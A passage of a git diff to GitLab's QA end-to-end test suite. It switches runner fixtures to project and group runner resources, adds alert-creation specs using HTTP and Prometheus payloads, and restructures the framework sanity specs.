diff --git a/qa/qa/specs/features/browser_ui/4_verify/pipeline/update_ci_file_with_pipeline_editor_spec.rb b/qa/qa/specs/features/browser_ui/4_verify/pipeline/update_ci_file_with_pipeline_editor_spec.rb
index 1f49c7a3663..a749da4608a 100644
--- a/qa/qa/specs/features/browser_ui/4_verify/pipeline/update_ci_file_with_pipeline_editor_spec.rb
+++ b/qa/qa/specs/features/browser_ui/4_verify/pipeline/update_ci_file_with_pipeline_editor_spec.rb
@@ -12,7 +12,7 @@ module QA
end
let!(:runner) do
- Resource::Runner.fabricate_via_api! do |runner|
+ Resource::ProjectRunner.fabricate_via_api! do |runner|
runner.project = project
runner.name = random_test_string
runner.tags = [random_test_string]
diff --git a/qa/qa/specs/features/browser_ui/4_verify/runner/register_runner_spec.rb b/qa/qa/specs/features/browser_ui/4_verify/runner/register_runner_spec.rb
index 24c49be13bb..e141bac5e3f 100644
--- a/qa/qa/specs/features/browser_ui/4_verify/runner/register_runner_spec.rb
+++ b/qa/qa/specs/features/browser_ui/4_verify/runner/register_runner_spec.rb
@@ -5,7 +5,7 @@ module QA
describe 'Runner registration' do
let(:executor) { "qa-runner-#{Time.now.to_i}" }
let!(:runner) do
- Resource::Runner.fabricate! do |runner|
+ Resource::ProjectRunner.fabricate! do |runner|
runner.name = executor
runner.tags = ['e2e-test']
end
diff --git a/qa/qa/specs/features/browser_ui/4_verify/testing/endpoint_coverage_spec.rb b/qa/qa/specs/features/browser_ui/4_verify/testing/endpoint_coverage_spec.rb
index 0166c53ffd5..d4fee70fbf3 100644
--- a/qa/qa/specs/features/browser_ui/4_verify/testing/endpoint_coverage_spec.rb
+++ b/qa/qa/specs/features/browser_ui/4_verify/testing/endpoint_coverage_spec.rb
@@ -18,7 +18,7 @@ module QA
end
let!(:runner) do
- Resource::Runner.fabricate_via_api! do |runner|
+ Resource::ProjectRunner.fabricate_via_api! do |runner|
runner.project = project
runner.name = project.name
runner.tags = [project.name]
diff --git a/qa/qa/specs/features/browser_ui/4_verify/testing/view_code_coverage_spec.rb b/qa/qa/specs/features/browser_ui/4_verify/testing/view_code_coverage_spec.rb
index 2a4852a2b8b..b45ccfa5433 100644
--- a/qa/qa/specs/features/browser_ui/4_verify/testing/view_code_coverage_spec.rb
+++ b/qa/qa/specs/features/browser_ui/4_verify/testing/view_code_coverage_spec.rb
@@ -5,7 +5,7 @@ module QA
describe 'Code coverage statistics' do
let(:executor) { "qa-runner-#{Time.now.to_i}" }
let(:runner) do
- Resource::Runner.fabricate_via_api! do |runner|
+ Resource::ProjectRunner.fabricate_via_api! do |runner|
runner.name = executor
runner.tags = ['e2e-test']
end
diff --git a/qa/qa/specs/features/browser_ui/5_package/container_registry/container_registry_omnibus_spec.rb b/qa/qa/specs/features/browser_ui/5_package/container_registry/container_registry_omnibus_spec.rb
index c57a5c27dd2..800324afc58 100644
--- a/qa/qa/specs/features/browser_ui/5_package/container_registry/container_registry_omnibus_spec.rb
+++ b/qa/qa/specs/features/browser_ui/5_package/container_registry/container_registry_omnibus_spec.rb
@@ -28,7 +28,7 @@ module QA
end
let!(:runner) do
- Resource::Runner.fabricate! do |runner|
+ Resource::ProjectRunner.fabricate! do |runner|
runner.name = "qa-runner-#{Time.now.to_i}"
runner.tags = ["runner-for-#{project.name}"]
runner.executor = :docker
diff --git a/qa/qa/specs/features/browser_ui/5_package/dependency_proxy/dependency_proxy_spec.rb b/qa/qa/specs/features/browser_ui/5_package/dependency_proxy/dependency_proxy_spec.rb
index 978867d5cf1..a0d283fd7ad 100644
--- a/qa/qa/specs/features/browser_ui/5_package/dependency_proxy/dependency_proxy_spec.rb
+++ b/qa/qa/specs/features/browser_ui/5_package/dependency_proxy/dependency_proxy_spec.rb
@@ -14,7 +14,7 @@ module QA
end
let!(:runner) do
- Resource::Runner.fabricate! do |runner|
+ Resource::ProjectRunner.fabricate! do |runner|
runner.name = "qa-runner-#{Time.now.to_i}"
runner.tags = ["runner-for-#{project.name}"]
runner.executor = :docker
diff --git a/qa/qa/specs/features/browser_ui/5_package/infrastructure_registry/terraform_module_registry_spec.rb b/qa/qa/specs/features/browser_ui/5_package/infrastructure_registry/terraform_module_registry_spec.rb
index a80e154a969..fe320f10416 100644
--- a/qa/qa/specs/features/browser_ui/5_package/infrastructure_registry/terraform_module_registry_spec.rb
+++ b/qa/qa/specs/features/browser_ui/5_package/infrastructure_registry/terraform_module_registry_spec.rb
@@ -16,12 +16,11 @@ module QA
end
let(:runner) do
- Resource::Runner.fabricate! do |runner|
+ Resource::ProjectRunner.fabricate! do |runner|
runner.name = "qa-runner-#{Time.now.to_i}"
runner.tags = ["runner-for-#{imported_project.name}"]
runner.executor = :docker
runner.project = imported_project
- runner.token = group.reload!.runners_token
end
end
diff --git a/qa/qa/specs/features/browser_ui/5_package/package_registry/composer_registry_spec.rb b/qa/qa/specs/features/browser_ui/5_package/package_registry/composer_registry_spec.rb
index ab4fb21f19a..0dce0022b38 100644
--- a/qa/qa/specs/features/browser_ui/5_package/package_registry/composer_registry_spec.rb
+++ b/qa/qa/specs/features/browser_ui/5_package/package_registry/composer_registry_spec.rb
@@ -20,7 +20,7 @@ module QA
end
let!(:runner) do
- Resource::Runner.fabricate! do |runner|
+ Resource::ProjectRunner.fabricate! do |runner|
runner.name = "qa-runner-#{Time.now.to_i}"
runner.tags = ["runner-for-#{project.name}"]
runner.executor = :docker
diff --git a/qa/qa/specs/features/browser_ui/5_package/package_registry/conan_repository_spec.rb b/qa/qa/specs/features/browser_ui/5_package/package_registry/conan_repository_spec.rb
index 687d9f710fb..39c2121331d 100644
--- a/qa/qa/specs/features/browser_ui/5_package/package_registry/conan_repository_spec.rb
+++ b/qa/qa/specs/features/browser_ui/5_package/package_registry/conan_repository_spec.rb
@@ -24,7 +24,7 @@ module QA
end
let!(:runner) do
- Resource::Runner.fabricate! do |runner|
+ Resource::ProjectRunner.fabricate! do |runner|
runner.name = "qa-runner-#{Time.now.to_i}"
runner.tags = ["runner-for-#{project.name}"]
runner.executor = :docker
diff --git a/qa/qa/specs/features/browser_ui/5_package/package_registry/generic_repository_spec.rb b/qa/qa/specs/features/browser_ui/5_package/package_registry/generic_repository_spec.rb
index 820571593a6..d6fb52cfea9 100644
--- a/qa/qa/specs/features/browser_ui/5_package/package_registry/generic_repository_spec.rb
+++ b/qa/qa/specs/features/browser_ui/5_package/package_registry/generic_repository_spec.rb
@@ -20,7 +20,7 @@ module QA
end
let!(:runner) do
- Resource::Runner.fabricate! do |runner|
+ Resource::ProjectRunner.fabricate! do |runner|
runner.name = "qa-runner-#{Time.now.to_i}"
runner.tags = ["runner-for-#{project.name}"]
runner.executor = :docker
diff --git a/qa/qa/specs/features/browser_ui/5_package/package_registry/maven/maven_project_level_spec.rb b/qa/qa/specs/features/browser_ui/5_package/package_registry/maven/maven_project_level_spec.rb
index 46c165ed806..c69b672a2ec 100644
--- a/qa/qa/specs/features/browser_ui/5_package/package_registry/maven/maven_project_level_spec.rb
+++ b/qa/qa/specs/features/browser_ui/5_package/package_registry/maven/maven_project_level_spec.rb
@@ -33,7 +33,7 @@ module QA
end
let(:runner) do
- Resource::Runner.fabricate! do |runner|
+ Resource::ProjectRunner.fabricate! do |runner|
runner.name = "qa-runner-#{Time.now.to_i}"
runner.tags = ["runner-for-#{package_project.name}"]
runner.executor = :docker
@@ -173,11 +173,11 @@ module QA
end
let(:runner) do
- Resource::Runner.fabricate! do |runner|
+ Resource::GroupRunner.fabricate! do |runner|
runner.name = "qa-runner-#{Time.now.to_i}"
runner.tags = ["runner-for-#{imported_project.name}"]
runner.executor = :docker
- runner.token = group.reload!.runners_token
+ runner.group = group
end
end
diff --git a/qa/qa/specs/features/browser_ui/5_package/package_registry/npm/npm_instance_level_spec.rb b/qa/qa/specs/features/browser_ui/5_package/package_registry/npm/npm_instance_level_spec.rb
index e209fc55e35..92dee63e37a 100644
--- a/qa/qa/specs/features/browser_ui/5_package/package_registry/npm/npm_instance_level_spec.rb
+++ b/qa/qa/specs/features/browser_ui/5_package/package_registry/npm/npm_instance_level_spec.rb
@@ -45,11 +45,11 @@ module QA
end
let!(:runner) do
- Resource::Runner.fabricate! do |runner|
+ Resource::GroupRunner.fabricate! do |runner|
runner.name = "qa-runner-#{Time.now.to_i}"
runner.tags = ["runner-for-#{project.group.name}"]
runner.executor = :docker
- runner.token = project.group.reload!.runners_token
+ runner.group = project.group
end
end
diff --git a/qa/qa/specs/features/browser_ui/5_package/package_registry/npm/npm_project_level_spec.rb b/qa/qa/specs/features/browser_ui/5_package/package_registry/npm/npm_project_level_spec.rb
index d1aaa05c85a..29cdd5b9362 100644
--- a/qa/qa/specs/features/browser_ui/5_package/package_registry/npm/npm_project_level_spec.rb
+++ b/qa/qa/specs/features/browser_ui/5_package/package_registry/npm/npm_project_level_spec.rb
@@ -39,7 +39,7 @@ module QA
end
let!(:runner) do
- Resource::Runner.fabricate! do |runner|
+ Resource::ProjectRunner.fabricate! do |runner|
runner.name = "qa-runner-#{Time.now.to_i}"
runner.tags = ["runner-for-#{project.name}"]
runner.executor = :docker
diff --git a/qa/qa/specs/features/browser_ui/5_package/package_registry/nuget/nuget_group_level_spec.rb b/qa/qa/specs/features/browser_ui/5_package/package_registry/nuget/nuget_group_level_spec.rb
index d44bc8fa2ad..0e1ac4d861d 100644
--- a/qa/qa/specs/features/browser_ui/5_package/package_registry/nuget/nuget_group_level_spec.rb
+++ b/qa/qa/specs/features/browser_ui/5_package/package_registry/nuget/nuget_group_level_spec.rb
@@ -51,11 +51,11 @@ module QA
end
let!(:runner) do
- Resource::Runner.fabricate! do |runner|
+ Resource::GroupRunner.fabricate! do |runner|
runner.name = "qa-runner-#{Time.now.to_i}"
runner.tags = ["runner-for-#{project.group.name}"]
runner.executor = :docker
- runner.token = project.group.reload!.runners_token
+ runner.group = project.group
end
end
@@ -137,7 +137,7 @@ module QA
<PropertyGroup>
<OutputType>Exe</OutputType>
- <TargetFramework>net5.0</TargetFramework>
+ <TargetFramework>net7.0</TargetFramework>
</PropertyGroup>
</Project>
diff --git a/qa/qa/specs/features/browser_ui/5_package/package_registry/nuget/nuget_project_level_spec.rb b/qa/qa/specs/features/browser_ui/5_package/package_registry/nuget/nuget_project_level_spec.rb
index 442deb1eb4e..038decddd96 100644
--- a/qa/qa/specs/features/browser_ui/5_package/package_registry/nuget/nuget_project_level_spec.rb
+++ b/qa/qa/specs/features/browser_ui/5_package/package_registry/nuget/nuget_project_level_spec.rb
@@ -36,7 +36,7 @@ product_group: :package_registry do
end
let!(:runner) do
- Resource::Runner.fabricate! do |runner|
+ Resource::ProjectRunner.fabricate! do |runner|
runner.name = "qa-runner-#{Time.now.to_i}"
runner.tags = ["runner-for-#{project.name}"]
runner.executor = :docker
diff --git a/qa/qa/specs/features/browser_ui/5_package/package_registry/pypi_repository_spec.rb b/qa/qa/specs/features/browser_ui/5_package/package_registry/pypi_repository_spec.rb
index fddb7fb6ebc..12e9d3e995f 100644
--- a/qa/qa/specs/features/browser_ui/5_package/package_registry/pypi_repository_spec.rb
+++ b/qa/qa/specs/features/browser_ui/5_package/package_registry/pypi_repository_spec.rb
@@ -21,7 +21,7 @@ module QA
end
let!(:runner) do
- Resource::Runner.fabricate! do |runner|
+ Resource::ProjectRunner.fabricate! do |runner|
runner.name = "qa-runner-#{Time.now.to_i}"
runner.tags = ["runner-for-#{project.name}"]
runner.executor = :docker
diff --git a/qa/qa/specs/features/browser_ui/5_package/package_registry/rubygems_registry_spec.rb b/qa/qa/specs/features/browser_ui/5_package/package_registry/rubygems_registry_spec.rb
index 284130fa92b..b80eb3a688e 100644
--- a/qa/qa/specs/features/browser_ui/5_package/package_registry/rubygems_registry_spec.rb
+++ b/qa/qa/specs/features/browser_ui/5_package/package_registry/rubygems_registry_spec.rb
@@ -21,7 +21,7 @@ module QA
end
let!(:runner) do
- Resource::Runner.fabricate! do |runner|
+ Resource::ProjectRunner.fabricate! do |runner|
runner.name = "qa-runner-#{Time.now.to_i}"
runner.tags = ["runner-for-#{project.name}"]
runner.executor = :docker
diff --git a/qa/qa/specs/features/browser_ui/6_release/deploy_key/clone_using_deploy_key_spec.rb b/qa/qa/specs/features/browser_ui/6_release/deploy_key/clone_using_deploy_key_spec.rb
index 3f91d120fdd..a504b694308 100644
--- a/qa/qa/specs/features/browser_ui/6_release/deploy_key/clone_using_deploy_key_spec.rb
+++ b/qa/qa/specs/features/browser_ui/6_release/deploy_key/clone_using_deploy_key_spec.rb
@@ -15,7 +15,7 @@ module QA
end
let!(:runner) do
- Resource::Runner.fabricate_via_api! do |resource|
+ Resource::ProjectRunner.fabricate_via_api! do |resource|
resource.project = project
resource.name = runner_name
resource.tags = [runner_name]
diff --git a/qa/qa/specs/features/browser_ui/7_configure/auto_devops/create_project_with_auto_devops_spec.rb b/qa/qa/specs/features/browser_ui/7_configure/auto_devops/create_project_with_auto_devops_spec.rb
index d6446c9725d..1e7d0eab365 100644
--- a/qa/qa/specs/features/browser_ui/7_configure/auto_devops/create_project_with_auto_devops_spec.rb
+++ b/qa/qa/specs/features/browser_ui/7_configure/auto_devops/create_project_with_auto_devops_spec.rb
@@ -2,7 +2,6 @@
module QA
RSpec.describe 'Configure',
- quarantine: { issue: 'https://gitlab.com/gitlab-org/gitlab/-/issues/381454', type: :flaky },
only: { subdomain: %i[staging staging-canary] }, product_group: :configure do
describe 'Auto DevOps with a Kubernetes Agent' do
let!(:app_project) do
diff --git a/qa/qa/specs/features/browser_ui/8_monitor/alert_management/alert_settings_create_new_alerts_spec.rb b/qa/qa/specs/features/browser_ui/8_monitor/alert_management/alert_settings_create_new_alerts_spec.rb
new file mode 100644
index 00000000000..2b7dd8fb673
--- /dev/null
+++ b/qa/qa/specs/features/browser_ui/8_monitor/alert_management/alert_settings_create_new_alerts_spec.rb
@@ -0,0 +1,83 @@
+# frozen_string_literal: true
+
+module QA
+ RSpec.describe 'Monitor', product_group: :respond do
+ describe 'Alert settings' do
+ shared_examples 'sends test alert' do
+ it 'creates new alert' do
+ Page::Project::Menu.perform(&:go_to_monitor_alerts)
+ Page::Project::Monitor::Alerts::Index.perform do |index|
+ expect(index).to have_alert_with_title(alert_title)
+ end
+ end
+ end
+
+ let(:project) do
+ Resource::Project.fabricate_via_api! do |project|
+ project.name = 'project-for-alerts'
+ project.description = 'Project for alerts'
+ end
+ end
+
+ let(:alert_title) { Faker::Lorem.word }
+
+ before do
+ Flow::Login.sign_in
+ project.visit!
+ end
+
+ context(
+ 'when using HTTP endpoint integration',
+ testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/382803'
+ ) do
+ let(:payload) do
+ { title: alert_title, description: alert_title }
+ end
+
+ before do
+ Flow::AlertSettings.setup_http_endpoint(payload: payload)
+ end
+
+ it_behaves_like 'sends test alert'
+ end
+
+ context(
+ 'when using Prometheus integration',
+ testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/385792'
+ ) do
+ let(:payload) do
+ {
+ version: '4',
+ groupKey: nil,
+ status: 'firing',
+ receiver: '',
+ groupLabels: {},
+ commonLabels: {},
+ commonAnnotations: {},
+ externalURL: '',
+ alerts: [
+ {
+ startsAt: Time.now,
+ generatorURL: Faker::Internet.url,
+ endsAt: nil,
+ status: 'firing',
+ labels: { gitlab_environment_name: Faker::Lorem.word },
+ annotations:
+ {
+ title: alert_title,
+ gitlab_y_label: 'status'
+ }
+ }
+ ]
+ }
+ end
+
+ before do
+ Flow::AlertSettings.setup_prometheus(payload: payload)
+ end
+
+ it_behaves_like 'sends test alert'
+ end
+ end
+ end
+end
diff --git a/qa/qa/specs/features/browser_ui/8_monitor/alert_management/create_alert_using_authorization_key_spec.rb b/qa/qa/specs/features/browser_ui/8_monitor/alert_management/create_alert_using_authorization_key_spec.rb
new file mode 100644
index 00000000000..9d4aff59e48
--- /dev/null
+++ b/qa/qa/specs/features/browser_ui/8_monitor/alert_management/create_alert_using_authorization_key_spec.rb
@@ -0,0 +1,98 @@
+# frozen_string_literal: true
+
+module QA
+ RSpec.describe 'Monitor', product_group: :respond do
+ describe 'Alert settings' do
+ shared_examples 'sends test alert using authorization key' do |type|
+ it 'creates new alert', :aggregate_failures do
+ response = RestClient.post(
+ credentials[:url],
+ payload.to_json,
+ { 'Content-Type': 'application/json', Authorization: "Bearer #{credentials[:auth_key]}" }
+ )
+
+ # With HTTP type, a successful request returns 200 and a JSON with the alert's title
+ # With Prometheus type, a successful request returns 201
+ if type == 'http'
+ expect(response.code).to eq 200
+ expect(JSON.parse(response).first['title']).to eq alert_title
+ else
+ expect(response.code).to eq 201
+ end
+
+ Page::Project::Menu.perform(&:go_to_monitor_alerts)
+ Page::Project::Monitor::Alerts::Index.perform do |index|
+ expect(index).to have_alert_with_title(alert_title)
+ end
+ end
+ end
+
+ let(:project) do
+ Resource::Project.fabricate_via_api! do |project|
+ project.name = 'project-for-alerts'
+ project.description = 'Project for alerts'
+ end
+ end
+
+ let(:alert_title) { Faker::Lorem.word }
+
+ before do
+ Flow::Login.sign_in
+ project.visit!
+ end
+
+ context(
+ 'when using HTTP endpoint integration',
+ testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/386734'
+ ) do
+ let(:payload) do
+ { title: alert_title, description: alert_title }
+ end
+
+ let(:credentials) do
+ Flow::AlertSettings.setup_http_endpoint(send: false)
+ end
+
+ it_behaves_like 'sends test alert using authorization key', 'http'
+ end
+
+ context(
+ 'when using Prometheus integration',
+ testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/386735'
+ ) do
+ let(:payload) do
+ {
+ version: '4',
+ groupKey: nil,
+ status: 'firing',
+ receiver: '',
+ groupLabels: {},
+ commonLabels: {},
+ commonAnnotations: {},
+ externalURL: '',
+ alerts: [
+ {
+ startsAt: Time.now,
+ generatorURL: Faker::Internet.url,
+ endsAt: nil,
+ status: 'firing',
+ labels: { gitlab_environment_name: Faker::Lorem.word },
+ annotations:
+ {
+ title: alert_title,
+ gitlab_y_label: 'status'
+ }
+ }
+ ]
+ }
+ end
+
+ let(:credentials) do
+ Flow::AlertSettings.setup_prometheus(send: false)
+ end
+
+ it_behaves_like 'sends test alert using authorization key'
+ end
+ end
+ end
+end
diff --git a/qa/qa/specs/features/browser_ui/8_monitor/incident_management/http_endpoint_integration_creates_alert_spec.rb b/qa/qa/specs/features/browser_ui/8_monitor/incident_management/http_endpoint_integration_creates_alert_spec.rb
deleted file mode 100644
index 8ea728ca94c..00000000000
--- a/qa/qa/specs/features/browser_ui/8_monitor/incident_management/http_endpoint_integration_creates_alert_spec.rb
+++ /dev/null
@@ -1,36 +0,0 @@
-# frozen_string_literal: true
-
-module QA
- RSpec.describe 'Monitor', product_group: :respond do
- describe 'Http endpoint integration' do
- let(:project) do
- Resource::Project.fabricate_via_api! do |project|
- project.name = 'project-for-alerts'
- project.description = 'Project for alerts'
- end
- end
-
- let(:random_word) { Faker::Lorem.word }
-
- let(:payload) do
- { title: random_word, description: random_word }
- end
-
- before do
- Flow::Login.sign_in
- project.visit!
- Flow::AlertSettings.setup_http_endpoint_and_send_alert(payload: payload)
- end
-
- it(
- 'can send test alert that creates new alert',
- testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/382803'
- ) do
- Page::Project::Menu.perform(&:go_to_monitor_alerts)
- Page::Project::Monitor::Alerts::Index.perform do |alerts|
- expect(alerts).to have_alert_with_title(random_word)
- end
- end
- end
- end
-end
diff --git a/qa/qa/specs/features/sanity/feature_flags_spec.rb b/qa/qa/specs/features/sanity/feature_flags_spec.rb
index acb9528fe6a..36069558701 100644
--- a/qa/qa/specs/features/sanity/feature_flags_spec.rb
+++ b/qa/qa/specs/features/sanity/feature_flags_spec.rb
@@ -1,86 +1,88 @@
# frozen_string_literal: true
module QA
- RSpec.describe 'Feature flag handler sanity checks', :sanity_feature_flags do
- context 'with an existing feature flag definition file' do
- let(:definition) do
- path = Pathname.new('../config/feature_flags')
- .expand_path(Runtime::Path.qa_root)
- .glob('**/*.yml')
- .first
- YAML.safe_load(File.read(path))
- end
+ RSpec.describe 'Framework sanity', :sanity_feature_flags do
+ describe 'Feature flag handler checks' do
+ context 'with an existing feature flag definition file' do
+ let(:definition) do
+ path = Pathname.new('../config/feature_flags')
+ .expand_path(Runtime::Path.qa_root)
+ .glob('**/*.yml')
+ .first
+ YAML.safe_load(File.read(path))
+ end
- it 'reads the correct default enabled state' do
- # This test will fail if we ever remove all the feature flags, but that's very unlikely given how many there
- # are and how much we rely on them.
- expect(QA::Runtime::Feature.enabled?(definition['name'])).to be definition['default_enabled']
+ it 'reads the correct default enabled state' do
+ # This test will fail if we ever remove all the feature flags, but that's very unlikely given how many there
+ # are and how much we rely on them.
+ expect(QA::Runtime::Feature.enabled?(definition['name'])).to be definition['default_enabled']
+ end
end
- end
- describe 'feature flag definition files' do
- let(:file) do
- path = Pathname.new("#{root}/config/feature_flags/development").expand_path(Runtime::Path.qa_root)
- path.mkpath
- Tempfile.new(%w[ff-test .yml], path)
- end
+ describe 'feature flag definition files' do
+ let(:file) do
+ path = Pathname.new("#{root}/config/feature_flags/development").expand_path(Runtime::Path.qa_root)
+ path.mkpath
+ Tempfile.new(%w[ff-test .yml], path)
+ end
- let(:flag) { Pathname.new(file.path).basename('.yml').to_s }
- let(:root) { '..' }
+ let(:flag) { Pathname.new(file.path).basename('.yml').to_s }
+ let(:root) { '..' }
- before do
- definition = <<~YAML
+ before do
+ definition = <<~YAML
name: #{flag}
type: development
default_enabled: #{flag_enabled}
- YAML
- File.write(file, definition)
- end
+ YAML
+ File.write(file, definition)
+ end
- after do
- file.close!
- end
+ after do
+ file.close!
+ end
- shared_examples 'gets flag value' do
- context 'with a default disabled feature flag' do
- let(:flag_enabled) { 'false' }
+ shared_examples 'gets flag value' do
+ context 'with a default disabled feature flag' do
+ let(:flag_enabled) { 'false' }
- it 'reads the flag as disabled' do
- expect(QA::Runtime::Feature.enabled?(flag)).to be false
- end
+ it 'reads the flag as disabled' do
+ expect(QA::Runtime::Feature.enabled?(flag)).to be false
+ end
- it 'reads as enabled after the flag is enabled' do
- QA::Runtime::Feature.enable(flag)
+ it 'reads as enabled after the flag is enabled' do
+ QA::Runtime::Feature.enable(flag)
- expect { QA::Runtime::Feature.enabled?(flag) }.to eventually_be_truthy
- .within(max_duration: 60, sleep_interval: 5)
+ expect { QA::Runtime::Feature.enabled?(flag) }.to eventually_be_truthy
+ .within(max_duration: 60, sleep_interval: 5)
+ end
end
- end
- context 'with a default enabled feature flag' do
- let(:flag_enabled) { 'true' }
+ context 'with a default enabled feature flag' do
+ let(:flag_enabled) { 'true' }
- it 'reads the flag as enabled' do
- expect(QA::Runtime::Feature.enabled?(flag)).to be true
- end
+ it 'reads the flag as enabled' do
+ expect(QA::Runtime::Feature.enabled?(flag)).to be true
+ end
- it 'reads as disabled after the flag is disabled' do
- QA::Runtime::Feature.disable(flag)
+ it 'reads as disabled after the flag is disabled' do
+ QA::Runtime::Feature.disable(flag)
- expect { QA::Runtime::Feature.enabled?(flag) }.to eventually_be_falsey
- .within(max_duration: 60, sleep_interval: 5)
+ expect { QA::Runtime::Feature.enabled?(flag) }.to eventually_be_falsey
+ .within(max_duration: 60, sleep_interval: 5)
+ end
end
end
- end
- context 'with a CE feature flag' do
- include_examples 'gets flag value'
- end
+ context 'with a CE feature flag' do
+ include_examples 'gets flag value'
+ end
- context 'with an EE feature flag' do
- let(:root) { '../ee' }
+ context 'with an EE feature flag' do
+ let(:root) { '../ee' }
- include_examples 'gets flag value'
+ include_examples 'gets flag value'
+ end
end
end
end
diff --git a/qa/qa/specs/features/sanity/framework_spec.rb b/qa/qa/specs/features/sanity/framework_spec.rb
index fa34f525a85..5c80afe338e 100644
--- a/qa/qa/specs/features/sanity/framework_spec.rb
+++ b/qa/qa/specs/features/sanity/framework_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
module QA
- RSpec.describe 'Framework sanity checks', :orchestrated, :framework do
+ RSpec.describe 'Framework sanity', :orchestrated, :framework do
describe 'Passing orchestrated example' do
it 'succeeds' do
Runtime::Browser.visit(:gitlab, Page::Main::Login)
diff --git a/qa/qa/specs/features/sanity/interception_spec.rb b/qa/qa/specs/features/sanity/interception_spec.rb
index f8930db3aa5..67be832055d 100644
--- a/qa/qa/specs/features/sanity/interception_spec.rb
+++ b/qa/qa/specs/features/sanity/interception_spec.rb
@@ -1,39 +1,41 @@
# frozen_string_literal: true
module QA
- RSpec.describe 'Browser request interception', :orchestrated, :framework do
- before(:context) do
- skip 'Only can test for chrome' unless QA::Runtime::Env.can_intercept?
- end
+ RSpec.describe 'Framework sanity', :orchestrated, :framework do
+ describe 'Browser request interception' do
+ before(:context) do
+ skip 'Only can test for chrome' unless QA::Runtime::Env.can_intercept?
+ end
- before do
- Runtime::Browser.visit(:gitlab, Page::Main::Login)
- end
+ before do
+ Runtime::Browser.visit(:gitlab, Page::Main::Login)
+ end
- let(:page) { Capybara.current_session }
- let(:logger) { class_double('QA::Runtime::Logger') }
+ let(:page) { Capybara.current_session }
+ let(:logger) { class_double('QA::Runtime::Logger') }
- it 'intercepts failed graphql calls' do
- page.execute_script <<~JS
+ it 'intercepts failed graphql calls' do
+ page.execute_script <<~JS
fetch('/api/graphql', {
method: 'POST',
body: JSON.stringify({ query: 'query {}'}),
headers: { 'Content-Type': 'application/json' }
})
- JS
+ JS
- Support::Waiter.wait_until do
- !get_cached_error.nil?
+ Support::Waiter.wait_until do
+ !get_cached_error.nil?
+ end
+ expect(**get_cached_error).to include({ 'method' => 'POST', 'status' => 200, 'url' => '/api/graphql' })
end
- expect(**get_cached_error).to include({ 'method' => 'POST', 'status' => 200, 'url' => '/api/graphql' })
- end
- def get_cached_error
- cache = page.execute_script <<~JS
+ def get_cached_error
+ cache = page.execute_script <<~JS
return Interceptor.getCache()
- JS
+ JS
- cache['errors']&.first
+ cache['errors']&.first
+ end
end
end
end
diff --git a/qa/qa/specs/features/sanity/version_spec.rb b/qa/qa/specs/features/sanity/version_spec.rb
index e93a8a6fea1..deefe830c36 100644
--- a/qa/qa/specs/features/sanity/version_spec.rb
+++ b/qa/qa/specs/features/sanity/version_spec.rb
@@ -7,31 +7,33 @@ module QA
# environment variable is the version actually running.
#
# See https://gitlab.com/gitlab-com/gl-infra/delivery/-/issues/1179
- RSpec.describe 'Version sanity check', :smoke, only: { pipeline: [:pre, :release] } do
- let(:api_client) { Runtime::API::Client.new(:gitlab) }
- let(:request) { Runtime::API::Request.new(api_client, '/version') }
+ RSpec.describe 'Framework sanity', :smoke, only: { pipeline: [:pre, :release] } do
+ describe 'Version check' do
+ let(:api_client) { Runtime::API::Client.new(:gitlab) }
+ let(:request) { Runtime::API::Request.new(api_client, '/version') }
- it 'is the specified version' do
- # The `DEPLOY_VERSION` variable will only be provided for deploys to the
- # `pre` and `release` environments, which only receive packaged releases.
- #
- # For these releases, `deploy_version` will be a package string (e.g.,
- # `13.1.3-ee.0`), and the reported version will be something like
- # `13.1.3-ee`, so we only compare the leading SemVer string.
- #
- # | Package | Version |
- # | ---------------- | -------------- |
- # | 13.3.5-ee.0 | 13.3.5-ee |
- # | 13.3.0-rc42.ee.0 | 13.3.0-rc42-ee |
- deploy = Runtime::Env.deploy_version&.gsub(/\A(\d+\.\d+\.\d+).*\z/, '\1')
+ it 'is the specified version' do
+ # The `DEPLOY_VERSION` variable will only be provided for deploys to the
+ # `pre` and `release` environments, which only receive packaged releases.
+ #
+ # For these releases, `deploy_version` will be a package string (e.g.,
+ # `13.1.3-ee.0`), and the reported version will be something like
+ # `13.1.3-ee`, so we only compare the leading SemVer string.
+ #
+ # | Package | Version |
+ # | ---------------- | -------------- |
+ # | 13.3.5-ee.0 | 13.3.5-ee |
+ # | 13.3.0-rc42.ee.0 | 13.3.0-rc42-ee |
+ deploy = Runtime::Env.deploy_version&.gsub(/\A(\d+\.\d+\.\d+).*\z/, '\1')
- skip('No deploy version provided') if deploy.nil? || deploy.empty?
+ skip('No deploy version provided') if deploy.nil? || deploy.empty?
- get request.url
+ get request.url
- expect_status(200)
- expect(json_body).to have_key(:version)
- expect(json_body[:version]).to start_with(deploy)
+ expect_status(200)
+ expect(json_body).to have_key(:version)
+ expect(json_body[:version]).to start_with(deploy)
+ end
end
end
end
diff --git a/qa/qa/specs/features/shared_contexts/advanced_search_shared_context.rb b/qa/qa/specs/features/shared_contexts/advanced_search_shared_context.rb
new file mode 100644
index 00000000000..c6836d11803
--- /dev/null
+++ b/qa/qa/specs/features/shared_contexts/advanced_search_shared_context.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+module QA
+ RSpec.shared_context 'advanced search active' do
+ let!(:advanced_search_on) { check_advanced_search_status }
+
+ before do
+ QA::EE::Resource::Settings::Elasticsearch.fabricate_via_api! unless advanced_search_on
+ end
+
+ after do
+ Runtime::Search.disable_elasticsearch(api_client) if !advanced_search_on && !api_client.nil?
+ end
+
+ # TODO: convert this method to use the API instead of the UI once the functionality exists
+ # https://gitlab.com/gitlab-org/gitlab/-/issues/382849
+ def check_advanced_search_status
+ Flow::Login.sign_in
+ QA::Page::Main::Menu.perform do |menu|
+ menu.search_for('lorem ipsum')
+ end
+ page.has_text?('Advanced search is enabled')
+ end
+ end
+end
diff --git a/qa/qa/specs/features/shared_contexts/import/github_import_shared_context.rb b/qa/qa/specs/features/shared_contexts/import/github_import_shared_context.rb
index 27d94b04cde..481a09f601b 100644
--- a/qa/qa/specs/features/shared_contexts/import/github_import_shared_context.rb
+++ b/qa/qa/specs/features/shared_contexts/import/github_import_shared_context.rb
@@ -35,8 +35,44 @@ module QA
end
end
+ let(:smocker_host) { ENV["QA_SMOCKER_HOST"] }
+ let(:smocker) do
